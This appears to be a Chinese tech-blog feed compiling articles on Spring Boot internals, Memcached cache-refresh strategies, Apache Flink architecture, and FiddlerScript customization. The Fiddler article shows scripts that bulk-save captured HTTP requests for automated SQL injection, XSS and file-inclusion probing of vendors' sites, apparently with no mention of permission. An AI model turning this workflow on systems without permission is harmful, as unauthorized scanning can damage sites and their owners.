    tomcat.setBaseDir(baseDir.getAbsolutePath());
    Connector connector = new Connector(this.protocol);
    tomcat.getService().addConnector(connector);
    customizeConnector(connector);
    tomcat.setConnector(connector);
    tomcat.getHost().setAutoDeploy(false);
    tomcat.getEngine().setBackgroundProcessorDelay(-1);
    for (Connector additionalConnector : this.additionalTomcatConnectors) {
        tomcat.getService().addConnector(additionalConnector);
    }
    prepareContext(tomcat.getHost(), initializers);
    return getTomcatEmbeddedServletContainer(tomcat);
}

会为tomcat创建一个临时文件目录,如:
/tmp/tomcat.2233614112516545210.8080,做为tomcat的basedir。里面会放tomcat的临时文件,比如work目录。

还会初始化Tomcat的一些Servlet,比如比较重要的default/jsp servlet:

private void addDefaultServlet(Context context) {
    Wrapper defaultServlet = context.createWrapper();
    defaultServlet.setName("default");
    defaultServlet.setServletClass("org.apache.catalina.servlets.DefaultServlet");
    defaultServlet.addInitParameter("debug", "0");
    defaultServlet.addInitParameter("listings", "false");
    defaultServlet.setLoadOnStartup(1);
    // Otherwise the default location of a Spring DispatcherServlet cannot be set
    defaultServlet.setOverridable(true);
    context.addChild(defaultServlet);
    context.addServletMapping("/", "default");
}

private void addJspServlet(Context context) {
    Wrapper jspServlet = context.createWrapper();
    jspServlet.setName("jsp");
    jspServlet.setServletClass(getJspServletClassName());
    jspServlet.addInitParameter("fork", "false");
    jspServlet.setLoadOnStartup(3);
    context.addChild(jspServlet);
    context.addServletMapping("*.jsp", "jsp");
    context.addServletMapping("*.jspx", "jsp");
}

spring boot的web应用如何访问Resource

当spring boot应用被打包为一个fat jar时,是如何访问到web resource的?

实际上是通过Archive提供的URL,然后通过Classloader提供的访问classpath resource的能力来实现的。

index.html

比如需要配置一个index.html,这个可以直接放在代码里的src/main/resources/static目录下。

对于index.html欢迎页,spring boot在初始化时,就会创建一个ViewController来处理:

//ResourceProperties
public class ResourceProperties implements ResourceLoaderAware {

    private static final String[] SERVLET_RESOURCE_LOCATIONS = { "/" };

    private static final String[] CLASSPATH_RESOURCE_LOCATIONS = {
            "classpath:/META-INF/resources/", "classpath:/resources/","classpath:/static/", "classpath:/public/" };
//WebMvcAutoConfigurationAdapter
        @Override
        public void addViewControllers(ViewControllerRegistry registry) {
            Resource page = this.resourceProperties.getWelcomePage();
            if (page != null) {
                logger.info("Adding welcome page: " + page);
                registry.addViewController("/").setViewName("forward:index.html");
            }
        }

template

像页面模板文件可以放在src/main/resources/template目录下。但这个实际上是模板的实现类自己处理的。比如ThymeleafProperties类里的:

public static final String DEFAULT_PREFIX = "classpath:/templates/";

jsp

jsp页面和template类似。实际上是通过spring mvc内置的JstlView来处理的。

可以通过配置spring.view.prefix来设定jsp页面的目录:

spring.view.prefix: /WEB-INF/jsp/

spring boot里统一的错误页面的处理

对于错误页面,Spring boot也是通过创建一个BasicErrorController来统一处理的。

@Controller
@RequestMapping("${server.error.path:${error.path:/error}}")
public class BasicErrorController extends AbstractErrorController

对应的View是一个简单的HTML提醒:

    @Configuration
    @ConditionalOnProperty(prefix = "server.error.whitelabel", name = "enabled", matchIfMissing = true)
    @Conditional(ErrorTemplateMissingCondition.class)
    protected static class WhitelabelErrorViewConfiguration {

        private final SpelView defaultErrorView = new SpelView(
                "<html><body><h1>Whitelabel Error Page</h1>"
                        + "<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>"
                        + "<div id='created'>${timestamp}</div>"
                        + "<div>There was an unexpected error (type=${error}, status=${status}).</div>"
                        + "<div>${message}</div></body></html>");

        @Bean(name = "error")
        @ConditionalOnMissingBean(name = "error")
        public View defaultErrorView() {
            return this.defaultErrorView;
        }

spring boot的这个做法很好,避免了传统的web应用来出错时,默认抛出异常,容易泄密。

spring boot应用的maven打包过程

先通过maven-shade-plugin生成一个包含依赖的jar,再通过spring-boot-maven-plugin插件把spring boot loader相关的类,还有MANIFEST.MF打包到jar里。

spring boot里有颜色日志的实现

当在shell里启动spring boot应用时,会发现它的logger输出是有颜色的,这个特性很有意思。

可以通过这个设置来关闭:

spring.output.ansi.enabled=false

原理是通过AnsiOutputApplicationListener ,这个来获取这个配置,然后设置logback在输出时,加了一个 ColorConverter,通过org.springframework.boot.ansi.AnsiOutput ,对一些字段进行了渲染。

一些代码小技巧

实现ClassLoader时,支持JDK7并行加载

可以参考LaunchedURLClassLoader里的LockProvider

public class LaunchedURLClassLoader extends URLClassLoader {

    private static LockProvider LOCK_PROVIDER = setupLockProvider();
    private static LockProvider setupLockProvider() {
        try {
            ClassLoader.registerAsParallelCapable();
            return new Java7LockProvider();
        }
        catch (NoSuchMethodError ex) {
            return new LockProvider();
        }
    }

    @Override
    protected Class<?> loadClass(String name, boolean resolve)
            throws ClassNotFoundException {
        synchronized (LaunchedURLClassLoader.LOCK_PROVIDER.getLock(this, name)) {
            Class<?> loadedClass = findLoadedClass(name);
            if (loadedClass == null) {
                Handler.setUseFastConnectionExceptions(true);
                try {
                    loadedClass = doLoadClass(name);
                }
                finally {
                    Handler.setUseFastConnectionExceptions(false);
                }
            }
            if (resolve) {
                resolveClass(loadedClass);
            }
            return loadedClass;
        }
    }

检测jar包是否通过agent加载的

InputArgumentsJavaAgentDetector,原理是检测jar的URL是否有”-javaagent:”的前缀。

private static final String JAVA_AGENT_PREFIX = "-javaagent:";

获取进程的PID

ApplicationPid,可以获取PID。

  private String getPid() {
        try {
            String jvmName = ManagementFactory.getRuntimeMXBean().getName();
            return jvmName.split("@")[0];
        }
        catch (Throwable ex) {
            return null;
        }
    }

包装Logger类

spring boot里自己包装了一套logger,支持java, log4j, log4j2, logback,以后有需要自己包装logger时,可以参考这个。

在org.springframework.boot.logging包下面。

获取原始启动的main函数

通过堆栈里获取的方式,判断main函数,找到原始启动的main函数。

private Class<?> deduceMainApplicationClass() {
    try {
        StackTraceElement[] stackTrace = new RuntimeException().getStackTrace();
        for (StackTraceElement stackTraceElement : stackTrace) {
            if ("main".equals(stackTraceElement.getMethodName())) {
                return Class.forName(stackTraceElement.getClassName());
            }
        }
    }
    catch (ClassNotFoundException ex) {
        // Swallow and continue
    }
    return null;
}

spirng boot的一些缺点:

当spring boot应用以一个fat jar方式运行时,会遇到一些问题。以下是个人看法:

  • 日志不知道放哪,默认是输出到stdout的
  • 数据目录不知道放哪, jenkinns的做法是放到 ${user.home}/.jenkins 下面
  • 相对目录API不能使用,servletContext.getRealPath(“/”) 返回的是NULL
  • spring boot应用喜欢把配置都写到代码里,有时会带来混乱。一些简单可以用xml来表达的配置可能会变得难读,而且凌乱。

总结

spring boot通过扩展了jar协议,抽象出Archive概念,和配套的JarFile,JarUrlConnection,LaunchedURLClassLoader,从而实现了上层应用无感知的all in one的开发体验。尽管Executable war并不是spring提出的概念,但spring boot让它发扬光大。

spring boot是一个惊人的项目,可以说是spring的第二春,spring-cloud-config, spring-session, metrics, remote shell等都是深爱开发者喜爱的项目、特性。几乎可以肯定设计者是有丰富的一线开发经验,深知开发人员的痛点。

可能感兴趣的文章


应对Memcached缓存失效,导致高并发查询DB的几种思路

$
0
0

最近看到nginx的合并回源,这个和下面的思路有点像。不过nginx的思路还是在控制缓存失效时的并发请求,而不是当缓存快要失效时,及时地更新缓存。

nginx合并回源,参考:http://blog.csdn.net/brainkick/article/details/8570698

update: 2015-04-23

======================

当Memcached缓存失效时,容易出现高并发的查询DB,导致DB压力骤然上升。

这篇blog主要是探讨 如何在缓存将要失效时,及时地更新缓存,而不是如何在缓存失效之后,如何防止高并发的DB查询。

个人认为,当缓存将要失效时,及时地把新的数据刷到memcached里,这个是解决缓存失效瞬间高并发查DB的最好方法。那么如何及时地知道缓存将要失效?

解决这个问题有几种思路:

比如一个key是aaa,失效时间是30s。

1.定期从DB里查询数据,再刷到memcached里

这种方法有个缺点是,有些业务的key可能是变化的,不确定的。

而且不好界定哪些数据是应该查询出来放到缓存中的,难以区分冷热数据。

2.当缓存取到为null时,加锁去查询DB,只允许一个线程去查询DB

这种方式不太靠谱,不多讨论。而且如果是多个web服务器的话,还是有可能有并发的操作。

3.在向memcached写入value时,同时写入当前机器在时间作为过期时间

当get得到数据时,如果当前时间 – 过期时间 > 5s,则后台启动一个任务去查询DB,更新缓存。

当然,这里的后台任务必须保证同一个key,只有一个线程在执行查询DB的任务,不然这个还是高并发查询DB。

缺点是要把过期时间和value合在一起序列化,取出数据后,还要反序列化。很不方便。

网上大部分文章提到的都是前面两种方式,有少数文章提到第3种方式。下面提出一种基于两个key的方法:

4.两个key,一个key用来存放数据,另一个用来标记失效时间

比如key是aaa,设置失效时间为30s,则另一个key为expire_aaa,失效时间为25s。

在取数据时,用multiget,同时取出aaa和expire_aaa,如果expire_aaa的value == null,则后台启动一个任务去查询DB,更新缓存。和上面类似。

对于后台启动一个任务去查询DB,更新缓存,要保证一个key只有一个线程在执行,这个如何实现?

对于同一个进程,简单加锁即可。拿到锁的就去更新DB,没拿到锁的直接返回。

对于集群式的部署的,如何实现只允许一个任务执行?

这里就要用到memcached的add命令了。

add命令是如果不存在key,则设置成功,返回true,如果已存在key,则不存储,返回false。

当get expired_aaa是null时,则add expired_aaa 过期时间由自己灵活处理。比如设置为3秒。

如果成功了,再去查询DB,查到数据后,再set expired_aaa为25秒。set aaa 为30秒。

综上所述,来梳理下流程:

比如一个key是aaa,失效时间是30s。查询DB在1s内。

  • put数据时,设置aaa过期时间30s,设置expire_aaa过期时间25s;
  • get数据时,multiget  aaa 和 expire_aaa,如果expired_aaa对应的value != null,则直接返回aaa对应的数据给用户。如果expire_aaa返回value == null,则后台启动一个任务,尝试add expire_aaa, 并设置超时过间为3s。这里设置为3s是为了防止后台任务失败或者阻塞,如果这个任务执行失败,那么3秒后,如果有另外的用户访问,那么可以再次尝试查询DB。如果add执行成功,则查询DB,再更新aaa的缓存,并设置expire_aaa的超时时间为25s。

5. 时间存到Value里,再结合add命令来保证只有一个线程去刷新数据

update:2014-06-29

最近重新思考了下这个问题。发现第4种两个key的办法比较耗memcached的内存,因为key数翻倍了。结合第3种方式,重新设计了下,思路如下:

  • 仍然使用两个key的方案:

key

__load_{key}

其中, __load_{key} 这个key相当于一个锁,只允许add成功的线程去更新数据,而 这个key的超时时间是比较短的,不会一直占用memcached的内存

  • 在set 到Memcached的value中,加上一个时间,(time, value),time是memcached上的key未来会过期的时间,并不是当前系统时间。
  • 当get到数据时,检查时间是否快要超时: time – now < 5 * 1000,假定设置了快要超时的时间是5秒。

* 如果是,则后台启动一个新的线程:
*     尝试 add __load_{key},
*     如果成功,则去加载新的数据,并set到memcached中。

*  原来的线程直接返回value给调用者。

按上面的思路,用xmemcached封装了下:

DataLoader,用户要实现的加载数据的回调接口:

public interface DataLoader {
	public <T> T load();
}

RefreshCacheManager,用户只需要关心这这两个接口函数:

public class RefreshCacheManager {
	static public <T> T tryGet(MemcachedClient memcachedClient, final String key, final int expire, final DataLoader dataLoader);
	static public <T> T autoRetryGet(MemcachedClient memcachedClient, final String key, final int expire, final DataLoader dataLoader);
}

其中autoRetryGet函数如果get到是null,内部会自动重试4次,每次间隔500ms。

RefreshCacheManager内部自动处理数据快过期,重新刷新到memcached的逻辑。

详细的封装代码在这里: https://gist.github.com/hengyunabc/cc57478bfcb4cd0553c2

总结:

我个人是倾向于第5种方式的,因为很简单,直观。 比第4种方式要节省内存,而且不用mget,在使用memcached集群时不用担心出麻烦事。

这种两个key的方式,还有一个好处,就是数据是自然冷热适应的。如果是冷数据,30秒都没有人访问,那么数据会过期。

如果是热门数据,一直有大流量访问,那么数据就是一直热的,而且数据一直不会过期。

相关文章

Fiddler的灵活使用

$
0
0

0x00 前言


Fiddler是一款强大的web调试工具,其基本用法网上已经有很详细的教程,这里我就不再多说了。下面只是经验之谈,利用Fiddler各种功能达到自动检测漏洞的目的。

0x01 市场需求


我们在进行漏洞挖掘过程中,由于需要做大量的请求分析、大量的测试规则,且需要不断的重放修改请求进行探测,这导致消耗的精力、时间巨大。如果我们可以将请求保存下来,本地模拟请求的发送,自动修改请求,加载各种漏洞的测试规则,然后对请求的返回结果、状态进行漏洞特点的判断,那么对一些常见的sql注入、xss漏洞、文件包含等漏洞挖掘就非常的方便了。有了这样的需求,我们来看看Fiddler能否给我们提供很好的技术支持

0x02 需求分析


Fiddler采用代理的方式捕获请求,能够完美的截获请求头,这样就能满足我们的一些登录会话的需求,以及厂商做了rerferer验证、或者其他请求头验证的情况。而且Fiddler很好的支持https,可保存完整的请求以及发送的数据、参数等信息方便快捷的过滤规则,能够保留我们需要的测试session,轻松过滤一些js、css、图片等不必要的请求。

0x03 干活


Fiddler虽然支持保存请求头,但是不支持一键保存。每次保存请求头时都需要点一次确认。这使得保存请求非常的不方便。哎!重点来了,看官注意了,后来查询一些资料才知道,Fiddler有一个Fiddler2 Script Editor它支持用户调用其自定义的一些函数,自行编辑脚本,非常简单易懂,位置在rules->Customize rule下。

起初的想法是这样的:在脚本编辑器中有个OnBeforeRequest函数,在该函数下编辑的代码,代表可以在request触发前对request进行处理。

我们先在ClassHandlers下定义一个菜单,用于控制开启插件的开关:

在OnBeforeRequest函数下增加如下代码:

if(nowsave){
            oSession.SaveRequest(""+oSession.id+"_Request.txt",false);
            
        }

意思就是当捕获到session时就将请求request保存到指定目录

来看看效果,在rule下会出现我们添加的菜单,选中它后就开始时时的存储request到本地了:

保存本地的request:

post数据,参数、数据也都在其中,

能够时时的存储request,再配合自己写的一些对request进行模拟请求探索漏洞的工具,每天随便看看网站,逛逛各大厂商就能挖洞!妈妈再也不用担心我会和漏洞url擦肩而过了!是不是特别给咱妈省心?

然而这还不能满足我们的需求,因为在工作中我们需要对一些特定的请求进行过滤后再进行测试,比如一些请求有插入数据的功能列如评论,如果这种请求进行自动化探测的话,会带来大量的垃圾数据,往往测试时需要过滤掉。另外时时存储会保存大量request,全部都进行测试效率会降低。利用fiddler的过滤规则,我们已经能够保留我们希望测试的request,如果能有一个命令,能一键保存我们过滤留下的session,那效率将会大大提高。然而fiddler并没有这样的功能,就像上边说到的,保存request每次都会弹框点击确认才行。我们再来看看Fiddler 2 Script Edit是否能解决这个问题。果然在OnExecAction函数下可以让我们自定义命令,输入命令后,执行我们想要的代码,直接上代码:

case "save":
            var Sessions=UI.GetAllSessions();
                for (var i=0;i<Sessions.Length;i++)
                {
                    Sessions[i].SaveRequest("你的目录"+i.toString()+"_Request.txt",false);
                }
            return true;

增加一个case,循环保存即可。虽然上面的代码很简单,但是我却分析学习测试了好长时间,包括哪些fiddler的函数可用,用哪个类等等,这段过程就比较曲折了,就不多说了。 来看看效果,打开fiddler,在左下角输入命令save

request被一键保存了:

0x04 总结


好了request保存以后,对request的分析,就要靠个人如何去写漏洞识别的工具了,不同的人有不同的思路、想法,但是都离不开原始request,这些就不是本文要讲述的了。希望能给大家一点点帮助。

Apache Flink:特性、概念、组件栈、架构及原理分析

$
0
0

Apache Flink是一个面向分布式数据流处理和批量数据处理的开源计算平台,它能够基于同一个Flink运行时(Flink Runtime),提供支持流处理和批处理两种类型应用的功能。现有的开源计算方案,会把流处理和批处理作为两种不同的应用类型,因为他们它们所提供的SLA是完全不相同的:流处理一般需要支持低延迟、Exactly-once保证,而批处理需要支持高吞吐、高效处理,所以在实现的时候通常是分别给出两套实现方法,或者通过一个独立的开源框架来实现其中每一种处理方案。例如,实现批处理的开源方案有MapReduce、Tez、Crunch、Spark,实现流处理的开源方案有Samza、Storm。
Flink在实现流处理和批处理时,与传统的一些方案完全不同,它从另一个视角看待流处理和批处理,将二者统一起来:Flink是完全支持流处理,也就是说作为流处理看待时输入数据流是无界的;批处理被作为一种特殊的流处理,只是它的输入数据流被定义为有界的。基于同一个Flink运行时(Flink Runtime),分别提供了流处理和批处理API,而这两种API也是实现上层面向流处理、批处理类型应用框架的基础。

基本特性

关于Flink所支持的特性,我这里只是通过分类的方式简单做一下梳理,涉及到具体的一些概念及其原理会在后面的部分做详细说明。

流处理特性

  • 支持高吞吐、低延迟、高性能的流处理
  • 支持带有事件时间的窗口(Window)操作
  • 支持有状态计算的Exactly-once语义
  • 支持高度灵活的窗口(Window)操作,支持基于time、count、session,以及data-driven的窗口操作
  • 支持具有Backpressure功能的持续流模型
  • 支持基于轻量级分布式快照(Snapshot)实现的容错
  • 一个运行时同时支持Batch on Streaming处理和Streaming处理
  • Flink在JVM内部实现了自己的内存管理
  • 支持迭代计算
  • 支持程序自动优化:避免特定情况下Shuffle、排序等昂贵操作,中间结果有必要进行缓存

API支持

  • 对Streaming数据类应用,提供DataStream API
  • 对批处理类应用,提供DataSet API(支持Java/Scala)

Libraries支持

  • 支持机器学习(FlinkML)
  • 支持图分析(Gelly)
  • 支持关系数据处理(Table)
  • 支持复杂事件处理(CEP)

整合支持

  • 支持Flink on YARN
  • 支持HDFS
  • 支持来自Kafka的输入数据
  • 支持Apache HBase
  • 支持Hadoop程序
  • 支持Tachyon
  • 支持ElasticSearch
  • 支持RabbitMQ
  • 支持Apache Storm
  • 支持S3
  • 支持XtreemFS

基本概念

Stream & Transformation & Operator

用户实现的Flink程序是由Stream和Transformation这两个基本构建块组成,其中Stream是一个中间结果数据,而Transformation是一个操作,它对一个或多个输入Stream进行计算处理,输出一个或多个结果Stream。当一个Flink程序被执行的时候,它会被映射为Streaming Dataflow。一个Streaming Dataflow是由一组Stream和Transformation Operator组成,它类似于一个DAG图,在启动的时候从一个或多个Source Operator开始,结束于一个或多个Sink Operator。
下面是一个由Flink程序映射为Streaming Dataflow的示意图,如下所示:
flink-streaming-dataflow-example
上图中,FlinkKafkaConsumer是一个Source Operator,map、keyBy、timeWindow、apply是Transformation Operator,RollingSink是一个Sink Operator。

Parallel Dataflow

在Flink中,程序天生是并行和分布式的:一个Stream可以被分成多个Stream分区(Stream Partitions),一个Operator可以被分成多个Operator Subtask,每一个Operator Subtask是在不同的线程中独立执行的。一个Operator的并行度,等于Operator Subtask的个数,一个Stream的并行度总是等于生成它的Operator的并行度。
有关Parallel Dataflow的实例,如下图所示:
flink-parallel-dataflow
上图Streaming Dataflow的并行视图中,展现了在两个Operator之间的Stream的两种模式:

  • One-to-one模式

比如从Source[1]到map()[1],它保持了Source的分区特性(Partitioning)和分区内元素处理的有序性,也就是说map()[1]的Subtask看到数据流中记录的顺序,与Source[1]中看到的记录顺序是一致的。

  • Redistribution模式

这种模式改变了输入数据流的分区,比如从map()[1]、map()[2]到keyBy()/window()/apply()[1]、keyBy()/window()/apply()[2],上游的Subtask向下游的多个不同的Subtask发送数据,改变了数据流的分区,这与实际应用所选择的Operator有关系。
另外,Source Operator对应2个Subtask,所以并行度为2,而Sink Operator的Subtask只有1个,故而并行度为1。

Task & Operator Chain

在Flink分布式执行环境中,会将多个Operator Subtask串起来组成一个Operator Chain,实际上就是一个执行链,每个执行链会在TaskManager上一个独立的线程中执行,如下图所示:
flink-tasks-chains
上图中上半部分表示的是一个Operator Chain,多个Operator通过Stream连接,而每个Operator在运行时对应一个Task;图中下半部分是上半部分的一个并行版本,也就是对每一个Task都并行化为多个Subtask。

Time & Window

Flink支持基于时间窗口操作,也支持基于数据的窗口操作,如下图所示:
flink-window
上图中,基于时间的窗口操作,在每个相同的时间间隔对Stream中的记录进行处理,通常各个时间间隔内的窗口操作处理的记录数不固定;而基于数据驱动的窗口操作,可以在Stream中选择固定数量的记录作为一个窗口,对该窗口中的记录进行处理。
有关窗口操作的不同类型,可以分为如下几种:倾斜窗口(Tumbling Windows,记录没有重叠)、滑动窗口(Slide Windows,记录有重叠)、会话窗口(Session Windows),具体可以查阅相关资料。
在处理Stream中的记录时,记录中通常会包含各种典型的时间字段,Flink支持多种时间的处理,如下图所示:
flink-event-ingestion-processing-time
上图描述了在基于Flink的流处理系统中,各种不同的时间所处的位置和含义,其中,Event Time表示事件创建时间,Ingestion Time表示事件进入到Flink Dataflow的时间 ,Processing Time表示某个Operator对事件进行处理事的本地系统时间(是在TaskManager节点上)。这里,谈一下基于Event Time进行处理的问题,通常根据Event Time会给整个Streaming应用带来一定的延迟性,因为在一个基于事件的处理系统中,进入系统的事件可能会基于Event Time而发生乱序现象,比如事件来源于外部的多个系统,为了增强事件处理吞吐量会将输入的多个Stream进行自然分区,每个Stream分区内部有序,但是要保证全局有序必须同时兼顾多个Stream分区的处理,设置一定的时间窗口进行暂存数据,当多个Stream分区基于Event Time排列对齐后才能进行延迟处理。所以,设置的暂存数据记录的时间窗口越长,处理性能越差,甚至严重影响Stream处理的实时性。
有关基于时间的Streaming处理,可以参考官方文档,在Flink中借鉴了Google使用的WaterMark实现方式,可以查阅相关资料。

基本架构

Flink系统的架构与Spark类似,是一个基于Master-Slave风格的架构,如下图所示:
flink-system-architecture
Flink集群启动时,会启动一个JobManager进程、至少一个TaskManager进程。在Local模式下,会在同一个JVM内部启动一个JobManager进程和TaskManager进程。当Flink程序提交后,会创建一个Client来进行预处理,并转换为一个并行数据流,这是对应着一个Flink Job,从而可以被JobManager和TaskManager执行。在实现上,Flink基于Actor实现了JobManager和TaskManager,所以JobManager与TaskManager之间的信息交换,都是通过事件的方式来进行处理。
如上图所示,Flink系统主要包含如下3个主要的进程:

JobManager

JobManager是Flink系统的协调者,它负责接收Flink Job,调度组成Job的多个Task的执行。同时,JobManager还负责收集Job的状态信息,并管理Flink集群中从节点TaskManager。JobManager所负责的各项管理功能,它接收到并处理的事件主要包括:

  • RegisterTaskManager

在Flink集群启动的时候,TaskManager会向JobManager注册,如果注册成功,则JobManager会向TaskManager回复消息AcknowledgeRegistration。

  • SubmitJob

Flink程序内部通过Client向JobManager提交Flink Job,其中在消息SubmitJob中以JobGraph形式描述了Job的基本信息。

  • CancelJob

请求取消一个Flink Job的执行,CancelJob消息中包含了Job的ID,如果成功则返回消息CancellationSuccess,失败则返回消息CancellationFailure。

  • UpdateTaskExecutionState

TaskManager会向JobManager请求更新ExecutionGraph中的ExecutionVertex的状态信息,更新成功则返回true。

  • RequestNextInputSplit

运行在TaskManager上面的Task,请求获取下一个要处理的输入Split,成功则返回NextInputSplit。

  • JobStatusChanged

ExecutionGraph向JobManager发送该消息,用来表示Flink Job的状态发生的变化,例如:RUNNING、CANCELING、FINISHED等。

TaskManager

TaskManager也是一个Actor,它是实际负责执行计算的Worker,在其上执行Flink Job的一组Task。每个TaskManager负责管理其所在节点上的资源信息,如内存、磁盘、网络,在启动的时候将资源的状态向JobManager汇报。TaskManager端可以分成两个阶段:

  • 注册阶段

TaskManager会向JobManager注册,发送RegisterTaskManager消息,等待JobManager返回AcknowledgeRegistration,然后TaskManager就可以进行初始化过程。

  • 可操作阶段

该阶段TaskManager可以接收并处理与Task有关的消息,如SubmitTask、CancelTask、FailTask。如果TaskManager无法连接到JobManager,这是TaskManager就失去了与JobManager的联系,会自动进入“注册阶段”,只有完成注册才能继续处理Task相关的消息。

Client

当用户提交一个Flink程序时,会首先创建一个Client,该Client首先会对用户提交的Flink程序进行预处理,并提交到Flink集群中处理,所以Client需要从用户提交的Flink程序配置中获取JobManager的地址,并建立到JobManager的连接,将Flink Job提交给JobManager。Client会将用户提交的Flink程序组装一个JobGraph, 并且是以JobGraph的形式提交的。一个JobGraph是一个Flink Dataflow,它由多个JobVertex组成的DAG。其中,一个JobGraph包含了一个Flink程序的如下信息:JobID、Job名称、配置信息、一组JobVertex等。

组件栈

Flink是一个分层架构的系统,每一层所包含的组件都提供了特定的抽象,用来服务于上层组件。Flink分层的组件栈如下图所示:
flink-component-stack
下面,我们自下而上,分别针对每一层进行解释说明:

  • Deployment层

该层主要涉及了Flink的部署模式,Flink支持多种部署模式:本地、集群(Standalone/YARN)、云(GCE/EC2)。Standalone部署模式与Spark类似,这里,我们看一下Flink on YARN的部署模式,如下图所示:
flink-on-yarn
了解YARN的话,对上图的原理非常熟悉,实际Flink也实现了满足在YARN集群上运行的各个组件:Flink YARN Client负责与YARN RM通信协商资源请求,Flink JobManager和Flink TaskManager分别申请到Container去运行各自的进程。通过上图可以看到,YARN AM与Flink JobManager在同一个Container中,这样AM可以知道Flink JobManager的地址,从而AM可以申请Container去启动Flink TaskManager。待Flink成功运行在YARN集群上,Flink YARN Client就可以提交Flink Job到Flink JobManager,并进行后续的映射、调度和计算处理。

  • Runtime层

Runtime层提供了支持Flink计算的全部核心实现,比如:支持分布式Stream处理、JobGraph到ExecutionGraph的映射、调度等等,为上层API层提供基础服务。

  • API层

API层主要实现了面向无界Stream的流处理和面向Batch的批处理API,其中面向流处理对应DataStream API,面向批处理对应DataSet API。

  • Libraries层

该层也可以称为Flink应用框架层,根据API层的划分,在API层之上构建的满足特定应用的实现计算框架,也分别对应于面向流处理和面向批处理两类。面向流处理支持:CEP(复杂事件处理)、基于SQL-like的操作(基于Table的关系操作);面向批处理支持:FlinkML(机器学习库)、Gelly(图处理)。

内部原理

容错机制

Flink基于Checkpoint机制实现容错,它的原理是不断地生成分布式Streaming数据流Snapshot。在流处理失败时,通过这些Snapshot可以恢复数据流处理。理解Flink的容错机制,首先需要了解一下Barrier这个概念:
Stream Barrier是Flink分布式Snapshotting中的核心元素,它会作为数据流的记录被同等看待,被插入到数据流中,将数据流中记录的进行分组,并沿着数据流的方向向前推进。每个Barrier会携带一个Snapshot ID,属于该Snapshot的记录会被推向该Barrier的前方。因为Barrier非常轻量,所以并不会中断数据流。带有Barrier的数据流,如下图所示:
flink-stream-barriers
基于上图,我们通过如下要点来说明:

  • 出现一个Barrier,在该Barrier之前出现的记录都属于该Barrier对应的Snapshot,在该Barrier之后出现的记录属于下一个Snapshot
  • 来自不同Snapshot多个Barrier可能同时出现在数据流中,也就是说同一个时刻可能并发生成多个Snapshot
  • 当一个中间(Intermediate)Operator接收到一个Barrier后,它会发送Barrier到属于该Barrier的Snapshot的数据流中,等到Sink Operator接收到该Barrier后会向Checkpoint Coordinator确认该Snapshot,直到所有的Sink Operator都确认了该Snapshot,才被认为完成了该Snapshot

这里还需要强调的是,Snapshot并不仅仅是对数据流做了一个状态的Checkpoint,它也包含了一个Operator内部所持有的状态,这样才能够在保证在流处理系统失败时能够正确地恢复数据流处理。也就是说,如果一个Operator包含任何形式的状态,这种状态必须是Snapshot的一部分。
Operator的状态包含两种:一种是系统状态,一个Operator进行计算处理的时候需要对数据进行缓冲,所以数据缓冲区的状态是与Operator相关联的,以窗口操作的缓冲区为例,Flink系统会收集或聚合记录数据并放到缓冲区中,直到该缓冲区中的数据被处理完成;另一种是用户自定义状态(状态可以通过转换函数进行创建和修改),它可以是函数中的Java对象这样的简单变量,也可以是与函数相关的Key/Value状态。
对于具有轻微状态的Streaming应用,会生成非常轻量的Snapshot而且非常频繁,但并不会影响数据流处理性能。Streaming应用的状态会被存储到一个可配置的存储系统中,例如HDFS。在一个Checkpoint执行过程中,存储的状态信息及其交互过程,如下图所示:
flink-checkpointing
在Checkpoint过程中,还有一个比较重要的操作——Stream Aligning。当Operator接收到多个输入的数据流时,需要在Snapshot Barrier中对数据流进行排列对齐,如下图所示:
flink-stream-aligning
具体排列过程如下:

  1. Operator从一个incoming Stream接收到Snapshot Barrier n,然后暂停处理,直到其它的incoming Stream的Barrier n(否则属于2个Snapshot的记录就混在一起了)到达该Operator
  2. 接收到Barrier n的Stream被临时搁置,来自这些Stream的记录不会被处理,而是被放在一个Buffer中
  3. 一旦最后一个Stream接收到Barrier n,Operator会emit所有暂存在Buffer中的记录,然后向Checkpoint Coordinator发送Snapshot n
  4. 继续处理来自多个Stream的记录

基于Stream Aligning操作能够实现Exactly Once语义,但是也会给流处理应用带来延迟,因为为了排列对齐Barrier,会暂时缓存一部分Stream的记录到Buffer中,尤其是在数据流并行度很高的场景下可能更加明显,通常以最迟对齐Barrier的一个Stream为处理Buffer中缓存记录的时刻点。在Flink中,提供了一个开关,选择是否使用Stream Aligning,如果关掉则Exactly Once会变成At least once。

调度机制

在JobManager端,会接收到Client提交的JobGraph形式的Flink Job,JobManager会将一个JobGraph转换映射为一个ExecutionGraph,如下图所示:
flink-job-and-execution-graph
通过上图可以看出:
JobGraph是一个Job的用户逻辑视图表示,将一个用户要对数据流进行的处理表示为单个DAG图(对应于JobGraph),DAG图由顶点(JobVertex)和中间结果集(IntermediateDataSet)组成,其中JobVertex表示了对数据流进行的转换操作,比如map、flatMap、filter、keyBy等操作,而IntermediateDataSet是由上游的JobVertex所生成,同时作为下游的JobVertex的输入。
而ExecutionGraph是JobGraph的并行表示,也就是实际JobManager调度一个Job在TaskManager上运行的逻辑视图,它也是一个DAG图,是由ExecutionJobVertex、IntermediateResult(或IntermediateResultPartition)组成,ExecutionJobVertex实际对应于JobGraph图中的JobVertex,只不过在ExecutionJobVertex内部是一种并行表示,由多个并行的ExecutionVertex所组成。另外,这里还有一个重要的概念,就是Execution,它是一个ExecutionVertex的一次运行Attempt,也就是说,一个ExecutionVertex可能对应多个运行状态的Execution,比如,一个ExecutionVertex运行产生了一个失败的Execution,然后还会创建一个新的Execution来运行,这时就对应这个2次运行Attempt。每个Execution通过ExecutionAttemptID来唯一标识,在TaskManager和JobManager之间进行Task状态的交换都是通过ExecutionAttemptID来实现的。
下面看一下,在物理上进行调度,基于资源的分配与使用的一个例子,来自官网,如下图所示:
flink-scheduled-task-slots
说明如下:

  • 左上子图:有2个TaskManager,每个TaskManager有3个Task Slot
  • 左下子图:一个Flink Job,逻辑上包含了1个data source、1个MapFunction、1个ReduceFunction,对应一个JobGraph
  • 左下子图:用户提交的Flink Job对各个Operator进行的配置——data source的并行度设置为4,MapFunction的并行度也为4,ReduceFunction的并行度为3,在JobManager端对应于ExecutionGraph
  • 右上子图:TaskManager 1上,有2个并行的ExecutionVertex组成的DAG图,它们各占用一个Task Slot
  • 右下子图:TaskManager 2上,也有2个并行的ExecutionVertex组成的DAG图,它们也各占用一个Task Slot
  • 在2个TaskManager上运行的4个Execution是并行执行的

迭代机制

